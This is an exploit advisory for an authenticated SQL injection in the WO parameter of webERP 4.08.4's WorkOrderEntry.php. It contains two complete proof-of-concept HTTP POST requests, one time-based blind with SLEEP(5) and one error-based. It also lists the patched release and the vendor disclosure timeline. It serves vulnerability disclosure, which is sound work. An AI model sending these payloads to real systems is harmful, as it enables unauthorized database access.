webERP 4.08.4 SQL Injection

`# Exploit Title: webERP <=4.08.4 WorkOrderEntry.php SQL Injection Vulnerability  
# Date: 14/09/2012  
# Exploit Author: modpr0be (modpr0be[at]spentera.com)  
# Vendor Homepage: http://www.weberp.org  
# Software Link: http://sourceforge.net/projects/web-erp/files/  
# Version: 4.08.4  
# Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config)  
# CVE: -  
  
# Software Description  
# webERP is a mature open-source ERP system providing best practise, multi-user business  
# administration and accounting tools over the web.  
  
# Vulnerability Overview  
# webERP is vulnerable to SQL Injection vulnerability in the WorkOrderEntry.php within the WO parameter.  
# Due tue unvalidated input, when the single quote is inserted the web application throw a database error  
# message that indicated a SQL Injection is exist.  
# Another test was performed and indicated that the WO parameter is also vulnerable to time-based blind sql injection.  
# However, the attacker must be in authenticated session to exploit the vulnerability.  
  
# POC (authenticated session needed):  
# Time-based Blind SQL Injection  
POST /weberp/WorkOrderEntry.php HTTP/1.1  
Host: 1.1.1.1  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Cookie: PHPSESSID=n9g1ts0s7oigk88eto8f8nm111  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 207  
FormID=ff60696dab6b35c56558628b7237a624be19ad11&WO=33' AND SLEEP(5) AND '1'='1&StockLocation=MEL&StartDate=14%2F09%2F2012&RequiredBy=14%2F09%2F2012&NumberOfOutputs=0&submit=&StockCat=All&Keywords=&StockCode=  
  
# Error-based SQL Injection  
POST /weberp/WorkOrderEntry.php HTTP/1.1  
Host: 1.1.1.1  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Cookie: PHPSESSID=n9g1ts0s7oigk88eto8f8nm111  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 207  
FormID=ff60696dab6b35c56558628b7237a624be19ad11&WO=33'&StockLocation=MEL&StartDate=14%2F09%2F2012&RequiredBy=14%2F09%2F2012&NumberOfOutputs=0&submit=&StockCat=All&Keywords=&StockCode=  
  
# Solution  
# Upgrade to latest version here: http://sourceforge.net/projects/web-erp/  
  
# Vendor Contact Log  
08/29/2012 - Bug found, submitted to Bug Report  
08/29/2012 - Vendor fix the bug, and request testing on patch version  
09/03/2012 - Confirm no vulnerablity found.  
09/11/2012 - webERP 4.08.5 released.  
  
`